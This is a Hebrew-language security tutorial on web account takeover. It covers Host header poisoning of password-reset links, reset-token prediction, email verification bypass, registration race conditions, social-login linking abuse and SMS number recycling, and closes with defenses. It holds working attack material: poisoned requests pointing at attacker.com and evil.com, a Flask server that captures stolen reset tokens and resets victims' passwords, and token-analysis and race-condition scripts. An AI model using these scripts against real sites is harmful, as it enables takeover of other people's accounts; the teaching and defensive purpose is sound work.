השתלטות על חשבונות - Account Takeover¶
מבוא¶
השתלטות על חשבון (Account Takeover - ATO) היא אחת החולשות הקריטיות ביותר באפליקציות ווב. היא מאפשרת לתוקף לקבל שליטה מלאה על חשבון של משתמש אחר, כולל גישה למידע רגיש, ביצוע פעולות בשם המשתמש, וגניבת נתונים. בשיעור זה נסקור את הטכניקות המרכזיות להשתלטות על חשבונות ואת דרכי ההגנה.
מתודולוגיה כללית¶
משטחי התקיפה¶
1. תהליך איפוס סיסמה (Password Reset)
- הרעלת Host header
- חיזוי טוקן איפוס
- דליפת טוקן
2. תהליך הרשמה (Registration)
- מרוץ תהליכים (race condition)
- חשבונות כפולים
- עקיפת אימות מייל
3. קישור חשבונות (Account Linking)
- ניצול Social Login
- חטיפת חשבון מקושר
4. תהליך שחזור חשבון (Account Recovery)
- שאלות אבטחה חלשות
- ניצול ערוצי שחזור
5. ניצול מידע מדולף
- Credential stuffing
- מיחזור מספרי טלפון
תקיפה 1: הרעלת Host Header באיפוס סיסמה - Password Reset Poisoning¶
הרקע¶
כאשר משתמש מבקש איפוס סיסמה, השרת שולח מייל עם לינק איפוס. אם השרת משתמש ב-Host header כדי לבנות את הלינק, תוקף יכול להחליף אותו בדומיין שלו.
תרחיש תקיפה¶
# בקשת איפוס סיסמה רגילה
POST /forgot-password HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
email=victim@email.com
# מייל שנשלח לקורבן:
# "לחץ כאן לאיפוס סיסמה: https://target.com/reset?token=abc123"
# בקשת איפוס עם Host header מורעל
POST /forgot-password HTTP/1.1
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@email.com
# מייל שנשלח לקורבן:
# "לחץ כאן לאיפוס סיסמה: https://attacker.com/reset?token=abc123"
# כשהקורבן לוחץ -> הטוקן נשלח לתוקף!
וריאציות של הרעלת Host¶
# שיטה 1: שינוי Host header
Host: attacker.com
# שיטה 2: הוספת X-Forwarded-Host
Host: target.com
X-Forwarded-Host: attacker.com
# שיטה 3: הוספת X-Host
Host: target.com
X-Host: attacker.com
# שיטה 4: הוספת X-Forwarded-Server
Host: target.com
X-Forwarded-Server: attacker.com
# שיטה 5: Host header עם port
Host: target.com:@attacker.com
# שיטה 6: שני Host headers
Host: target.com
Host: attacker.com
# שיטה 7: Absolute URL
POST https://target.com/forgot-password HTTP/1.1
Host: attacker.com
# שיטה 8: Override headers נוספים
X-Original-URL: https://attacker.com/reset
X-Rewrite-URL: https://attacker.com/reset
X-Forwarded-Scheme: https
X-Forwarded-Proto: https
קוד לקליטת טוקנים¶
from flask import Flask, request
app = Flask(__name__)
@app.route('/reset', methods=['GET'])
def capture_reset_token():
"""לכידת טוקני איפוס סיסמה"""
token = request.args.get('token', '')
if token:
print(f"[+] טוקן איפוס נלכד: {token}")
with open('captured_tokens.txt', 'a') as f:
f.write(f"Token: {token}\n")
f.write(f"IP: {request.remote_addr}\n")
f.write(f"User-Agent: {request.user_agent}\n")
f.write(f"Referer: {request.referrer}\n")
f.write("---\n")
# שימוש בטוקן לאיפוס הסיסמה
import requests
resp = requests.post(
'https://target.com/reset-password',
data={
'token': token,
'new_password': 'hacked123!',
'confirm_password': 'hacked123!'
}
)
if resp.status_code == 200:
print("[+] הסיסמה שונתה בהצלחה!")
return '<h1>404 Not Found</h1>', 404
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
תקיפה 2: חיזוי טוקן איפוס - Password Reset Token Prediction¶
הרקע¶
טוקני איפוס חייבים להיות אקראיים לחלוטין. כאשר הם מבוססים על זמן, מספרים סדרתיים, או אלגוריתמים חלשים, ניתן לחזות אותם.
דפוסים חלשים נפוצים¶
# דפוס חלש 1: טוקן מבוסס timestamp
import time
token = str(int(time.time()))
# 1699000000 - קל לניחוש
# דפוס חלש 2: MD5 של timestamp
import hashlib
token = hashlib.md5(str(time.time()).encode()).hexdigest()
# ניתן לשחזור אם יודעים את הזמן המשוער
# דפוס חלש 3: UUID v1 (מבוסס זמן)
import uuid
token = str(uuid.uuid1())
# מכיל timestamp ו-MAC address
# דפוס חלש 4: מספרים סדרתיים
# token_1001, token_1002, token_1003...
# דפוס חלש 5: Base64 של מידע ידוע
import base64
token = base64.b64encode(f"{user_id}:{timestamp}".encode()).decode()
סקריפט ניתוח טוקנים¶
#!/usr/bin/env python3
"""
ניתוח דפוסים בטוקני איפוס סיסמה
"""
import requests
import time
import hashlib
import base64
import statistics
class TokenAnalyzer:
def __init__(self, target_url, email):
self.target_url = target_url
self.email = email
self.tokens = []
self.timestamps = []
def collect_tokens(self, count=20):
"""איסוף מספר טוקנים לניתוח"""
print(f"[*] אוסף {count} טוקנים...")
for i in range(count):
timestamp = time.time()
resp = requests.post(self.target_url, data={
'email': self.email
})
# בדרך כלל צריך לחלץ את הטוקן ממייל
# כאן נניח שיש API שמחזיר אותו
token = self._extract_token(resp)
if token:
self.tokens.append(token)
self.timestamps.append(timestamp)
print(f" [{i+1}] {token}")
time.sleep(1)
def _extract_token(self, response):
"""חילוץ טוקן מהתגובה (יש להתאים לאפליקציה)"""
# בדיקה אם הטוקן מוחזר בתגובה (לצורכי דמו)
import re
match = re.search(r'token=([a-zA-Z0-9]+)', response.text)
return match.group(1) if match else None
def analyze_pattern(self):
"""ניתוח דפוסים בטוקנים"""
print("\n[*] ניתוח דפוסים:")
# אורך קבוע?
lengths = [len(t) for t in self.tokens]
print(f" אורכים: {set(lengths)}")
# ניסיון פענוח Base64
for token in self.tokens[:3]:
try:
decoded = base64.b64decode(token + '==')
print(f" Base64 decode: {decoded}")
except Exception:
pass
# ניסיון פענוח hex
for token in self.tokens[:3]:
try:
decoded = bytes.fromhex(token)
print(f" Hex decode: {decoded}")
except Exception:
pass
# בדיקת מתאם עם timestamp
self._check_timestamp_correlation()
# בדיקת entropy
self._check_entropy()
# בדיקת סדרתיות
self._check_sequential()
def _check_timestamp_correlation(self):
"""בדיקה אם הטוקנים קשורים ל-timestamp"""
print("\n בדיקת מתאם עם זמן:")
for i, (token, ts) in enumerate(zip(self.tokens[:5], self.timestamps[:5])):
ts_int = int(ts)
# בדיקת MD5 של timestamp
md5_check = hashlib.md5(str(ts_int).encode()).hexdigest()
if token == md5_check:
print(f" [+] טוקן {i} = MD5(timestamp)!")
# בדיקת SHA256
sha_check = hashlib.sha256(str(ts_int).encode()).hexdigest()
if token == sha_check:
print(f" [+] טוקן {i} = SHA256(timestamp)!")
# בדיקה אם הטוקן מכיל את ה-timestamp
if str(ts_int) in token:
print(f" [+] טוקן {i} מכיל timestamp!")
def _check_entropy(self):
"""בדיקת אנטרופיה של הטוקנים"""
print("\n בדיקת אנטרופיה:")
charset = set()
for token in self.tokens:
charset.update(token)
print(f" תווים ייחודיים: {len(charset)}")
print(f" תווים: {''.join(sorted(charset))}")
if len(charset) <= 16:
print(" [!] אנטרופיה נמוכה - אולי hex בלבד")
elif len(charset) <= 36:
print(" [!] אנטרופיה בינונית - אולי alphanumeric lowercase")
def _check_sequential(self):
"""בדיקה אם הטוקנים סדרתיים"""
print("\n בדיקת סדרתיות:")
try:
numeric_tokens = [int(t) for t in self.tokens]
diffs = [numeric_tokens[i+1] - numeric_tokens[i]
for i in range(len(numeric_tokens)-1)]
if len(set(diffs)) == 1:
print(f" [+] טוקנים סדרתיים! הפרש קבוע: {diffs[0]}")
elif statistics.stdev(diffs) < 10:
print(f" [!] טוקנים כמעט-סדרתיים. הפרשים: {diffs}")
except (ValueError, statistics.StatisticsError):
print(" טוקנים אינם מספריים")
def predict_next(self):
"""ניסיון חיזוי הטוקן הבא"""
print("\n[*] ניסיון חיזוי:")
# חיזוי מבוסס timestamp
predicted_time = int(time.time())
predictions = []
for offset in range(-5, 6):
ts = predicted_time + offset
predictions.append(hashlib.md5(str(ts).encode()).hexdigest())
predictions.append(hashlib.sha256(str(ts).encode()).hexdigest()[:32])
predictions.append(str(ts))
return predictions
if __name__ == "__main__":
analyzer = TokenAnalyzer(
"https://target.com/forgot-password",
"test@test.com"
)
analyzer.collect_tokens(10)
analyzer.analyze_pattern()
תקיפה 3: עקיפת אימות דואר אלקטרוני - Email Verification Bypass¶
טכניקות¶
# טכניקה 1: שינוי מייל לאחר אימות
# 1. הירשמו עם attacker@evil.com
# 2. אמתו את המייל
# 3. שנו את המייל ל-victim@target.com ללא אימות מחדש
POST /update-profile HTTP/1.1
Content-Type: application/json
{"email": "victim@target.com"}
# טכניקה 2: הרשמה ללא אימות מייל
# בדיקה אם ניתן לגשת לפונקציות ללא אימות
GET /api/user/profile HTTP/1.1
Cookie: session=UNVERIFIED_SESSION
# אם 200 OK -> אימות מייל ניתן לדילוג
# טכניקה 3: מניפולציית לינק אימות
# לינק מקורי:
https://target.com/verify?token=abc123&email=attacker@evil.com
# ניסיון שינוי מייל בלינק:
https://target.com/verify?token=abc123&email=victim@target.com
# טכניקה 4: אימות עם כל טוקן
# בדיקה אם הטוקן קשור למשתמש ספציפי
# 1. בקשו אימות עבור attacker@evil.com -> קבלו token_A
# 2. נסו להשתמש ב-token_A לאימות victim@target.com
POST /verify-email HTTP/1.1
{"token": "token_A", "email": "victim@target.com"}
תקיפה 4: מרוץ תהליכים בהרשמה - Registration Race Conditions¶
הרקע¶
כאשר שני בקשות הרשמה עם אותו מייל מגיעות בו-זמנית, ייתכן שהשרת ייצור שני חשבונות עבור אותו מייל.
ניצול¶
import threading
import requests
def registration_race_condition(target_url, email):
"""ניצול race condition בהרשמה"""
results = []
def register(password):
resp = requests.post(target_url, json={
'email': email,
'password': password,
'name': 'Test User'
})
results.append({
'password': password,
'status': resp.status_code,
'body': resp.text[:200]
})
# שליחת בקשות הרשמה במקביל
# אחת עם סיסמה של התוקף, אחת "כאילו" של הקורבן
threads = []
for i in range(10):
t = threading.Thread(
target=register,
args=(f"attacker_pass_{i}",)
)
threads.append(t)
# הפעלה בו-זמנית
for t in threads:
t.start()
for t in threads:
t.join()
# בדיקת תוצאות
successes = [r for r in results if r['status'] == 200 or r['status'] == 201]
print(f"[*] הרשמות שהצליחו: {len(successes)}")
if len(successes) > 1:
print("[+] נמצא race condition - נוצרו מספר חשבונות!")
return results
תרחיש מתקדם¶
1. הקורבן כבר רשום עם victim@email.com
2. התוקף שולח הרשמה עם victim@email.com במקביל לפעולת שינוי מייל
3. אם ה-race condition מצליח, נוצר חשבון חדש עם מייל הקורבן
4. התוקף מתחבר עם הסיסמה שהוא הגדיר
תקיפה 5: ניצול קישור חשבונות - Linked Account Abuse¶
הרקע¶
כאשר אפליקציה מאפשרת Social Login (התחברות עם Google/Facebook/GitHub), ניתן לנצל חולשות בתהליך הקישור.
תרחיש 1: קישור חשבון ללא אימות¶
# הקורבן מחובר עם סיסמה
# התוקף מצליח להריץ את הבקשה הבאה בשם הקורבן (CSRF)
POST /link-social-account HTTP/1.1
Cookie: victim_session
Content-Type: application/json
{
"provider": "google",
"social_id": "attacker_google_id",
"email": "attacker@gmail.com"
}
# כעת התוקף יכול להתחבר עם חשבון Google שלו לחשבון הקורבן
תרחיש 2: Pre-account Takeover¶
1. התוקף יוצר חשבון באפליקציה עם victim@email.com
(ללא אימות מייל, או עם אימות שניתן לעקוף)
2. התוקף מקשר חשבון social שלו לחשבון זה
3. הקורבן נרשם מאוחר יותר עם victim@email.com
האפליקציה מזהה שהחשבון קיים ומתמזגת
4. התוקף מתחבר עם ה-social login ומקבל גישה לחשבון הקורבן
תקיפה 6: ניצול תהליך שחזור חשבון - Account Recovery Exploitation¶
שאלות אבטחה חלשות¶
שאלות שניתן למצוא תשובות להן ברשתות חברתיות:
- מה שם בית הספר שלך? (LinkedIn)
- מה שם חיית המחמד שלך? (Instagram)
- באיזה עיר נולדת? (Facebook)
- מה שם הנעורים של אמך? (מאגרים גנאלוגיים)
OSINT לאיסוף מידע¶
# איסוף מידע מרשתות חברתיות לשאלות אבטחה
# (לצורכי הדגמה בלבד)
import requests
def gather_osint(target_name):
"""איסוף מידע ציבורי על המטרה"""
info = {
'name': target_name,
'possible_answers': {}
}
# חיפוש ברשתות חברתיות
# LinkedIn - מידע מקצועי
# Facebook - מידע אישי
# Instagram - חיות מחמד, נסיעות
print(f"[*] אוסף מידע על: {target_name}")
print("[*] בדקו ידנית:")
print(" - LinkedIn: מידע מקצועי, בתי ספר")
print(" - Facebook: עיר מגורים, בני משפחה")
print(" - Instagram: חיות מחמד, תחביבים")
print(" - Twitter/X: דעות, העדפות")
return info
תקיפה 7: מיחזור מספרי טלפון - Phone Number Recycling¶
הרקע¶
מספרי טלפון ממוחזרים על ידי חברות סלולר. אם חשבון מאובטח עם SMS 2FA או שחזור באמצעות SMS, בעל המספר החדש מקבל גישה.
תרחיש¶
1. הקורבן מחליף מספר טלפון ולא מעדכן באפליקציה
2. חברת הסלולר מקצה את המספר למשתמש חדש (התוקף)
3. התוקף מבקש איפוס סיסמה באמצעות SMS
4. קוד האימות מגיע לטלפון של התוקף
5. התוקף מאפס את הסיסמה ומשתלט על החשבון
דוגמאות בקשות HTTP - Host Header Poisoning¶
בדיקה שיטתית¶
# בדיקה 1: Host header ישיר
POST /forgot-password HTTP/1.1
Host: evil.com
email=victim@target.com
---
# בדיקה 2: X-Forwarded-Host
POST /forgot-password HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
email=victim@target.com
---
# בדיקה 3: דריסת Referer
POST /forgot-password HTTP/1.1
Host: target.com
Referer: https://evil.com
email=victim@target.com
---
# בדיקה 4: כתובת מוחלטת עם Host שונה
POST https://target.com/forgot-password HTTP/1.1
Host: evil.com
email=victim@target.com
---
# בדיקה 5: Host עם port מיוחד
POST /forgot-password HTTP/1.1
Host: target.com:evil.com
email=victim@target.com
---
# בדיקה 6: שימוש ב-Dangling Markup
# אם הלינק מוטמע ב-HTML של המייל
POST /forgot-password HTTP/1.1
Host: target.com:'<a href="https://evil.com/?
email=victim@target.com
סקריפט תקיפה מקיף¶
#!/usr/bin/env python3
"""
סקריפט בדיקת השתלטות על חשבונות
"""
import requests
import time
import threading
from urllib.parse import urljoin
class AccountTakeoverTester:
def __init__(self, base_url):
self.base_url = base_url
self.session = requests.Session()
def test_host_header_poisoning(self, email, attacker_domain):
"""בדיקת הרעלת Host header"""
print("[*] בודק הרעלת Host header...")
headers_to_test = [
{'Host': attacker_domain},
{'Host': self.base_url.split('//')[1].split('/')[0],
'X-Forwarded-Host': attacker_domain},
{'Host': self.base_url.split('//')[1].split('/')[0],
'X-Host': attacker_domain},
{'Host': self.base_url.split('//')[1].split('/')[0],
'X-Forwarded-Server': attacker_domain},
{'Host': self.base_url.split('//')[1].split('/')[0],
'X-Original-Host': attacker_domain},
{'Host': self.base_url.split('//')[1].split('/')[0],
'Forwarded': f'host={attacker_domain}'},
]
for i, headers in enumerate(headers_to_test):
resp = self.session.post(
urljoin(self.base_url, '/forgot-password'),
data={'email': email},
headers=headers,
allow_redirects=False
)
if resp.status_code == 200:
print(f" [+] בדיקה {i+1}: בקשה התקבלה ({resp.status_code})")
print(f" בדקו אם המייל מכיל לינק עם {attacker_domain}")
else:
print(f" [-] בדיקה {i+1}: נדחה ({resp.status_code})")
def test_token_prediction(self, email, count=5):
"""בדיקת חיזוי טוקני איפוס"""
print(f"\n[*] אוסף {count} טוקנים לניתוח...")
tokens = []
for i in range(count):
before = time.time()
resp = self.session.post(
urljoin(self.base_url, '/forgot-password'),
data={'email': email}
)
after = time.time()
tokens.append({
'time_before': before,
'time_after': after,
'response': resp.text[:500]
})
time.sleep(2)
print(" נאספו הטוקנים. בצעו ניתוח ידני או השתמשו ב-TokenAnalyzer")
return tokens
def test_registration_race(self, email, password):
"""בדיקת race condition בהרשמה"""
print(f"\n[*] בודק race condition בהרשמה עם {email}...")
results = []
def register():
resp = self.session.post(
urljoin(self.base_url, '/register'),
json={
'email': email,
'password': password,
'name': 'Test'
}
)
results.append(resp.status_code)
threads = [threading.Thread(target=register) for _ in range(10)]
for t in threads:
t.start()
for t in threads:
t.join()
successes = results.count(200) + results.count(201)
print(f" הצלחות: {successes}/{len(results)}")
if successes > 1:
print(" [+] Race condition - נוצרו חשבונות כפולים!")
def test_email_change_without_verification(self):
"""בדיקת שינוי מייל ללא אימות"""
print("\n[*] בודק שינוי מייל ללא אימות מחדש...")
resp = self.session.post(
urljoin(self.base_url, '/update-email'),
json={'email': 'new_email@test.com'}
)
if resp.status_code == 200:
print(" [+] מייל שונה ללא אימות!")
else:
print(f" [-] נדחה: {resp.status_code}")
def run_all(self, email, attacker_domain):
"""הרצת כל הבדיקות"""
print(f"{'='*60}")
print(f"[*] בדיקת Account Takeover עבור {self.base_url}")
print(f"{'='*60}")
self.test_host_header_poisoning(email, attacker_domain)
self.test_token_prediction(email)
print(f"\n{'='*60}")
print("[*] הבדיקה הושלמה")
if __name__ == "__main__":
tester = AccountTakeoverTester("https://target.com")
tester.run_all("victim@email.com", "attacker.com")
הגנות - Defenses¶
1. יצירת טוקני איפוס מאובטחים¶
import secrets
def generate_reset_token():
"""יצירת טוקן איפוס מאובטח"""
# 256 ביט של אנטרופיה
return secrets.token_urlsafe(32)
# לא להשתמש ב:
# - time.time()
# - uuid.uuid1()
# - random.randint()
# - hashlib.md5(email)
2. אימות Host header¶
ALLOWED_HOSTS = ['www.myapp.com', 'myapp.com']
def validate_host(request):
host = request.headers.get('Host', '')
if host not in ALLOWED_HOSTS:
raise ValueError("Host header לא מורשה")
3. בניית URLs מאובטחת¶
# שגוי - שימוש ב-Host header
reset_url = f"https://{request.host}/reset?token={token}"
# נכון - שימוש בערך מוגדר מראש
from config import BASE_URL # "https://www.myapp.com"
reset_url = f"{BASE_URL}/reset?token={token}"
4. הגנות נוספות¶
- טוקני איפוס צריכים לפוג תוך 30 דקות
- טוקן נמחק מיד לאחר שימוש
- הגבלת בקשות איפוס (3 לשעה)
- שליחת התראה על ניסיון איפוס
- אימות מייל מחדש לאחר שינוי כתובת
- שימוש ב-Referrer-Policy: no-referrer
- הגנת rate limit על הרשמה
- בדיקת כפילויות אטומית (atomic check) בהרשמה
סיכום¶
השתלטות על חשבונות היא קטגוריה רחבה שמשלבת מגוון טכניקות. הנקודות העיקריות:
- הרעלת Host header באיפוס סיסמה היא חולשה נפוצה וקלה לניצול
- טוקני איפוס חייבים להיות אקראיים לחלוטין עם אנטרופיה גבוהה
- מרוץ תהליכים בהרשמה יכול ליצור חשבונות כפולים
- קישור חשבונות חברתיים דורש הגנת CSRF ואימות מלא
- ההגנה הטובה ביותר משלבת טוקנים חזקים, URLs קבועים, והגבלת קצב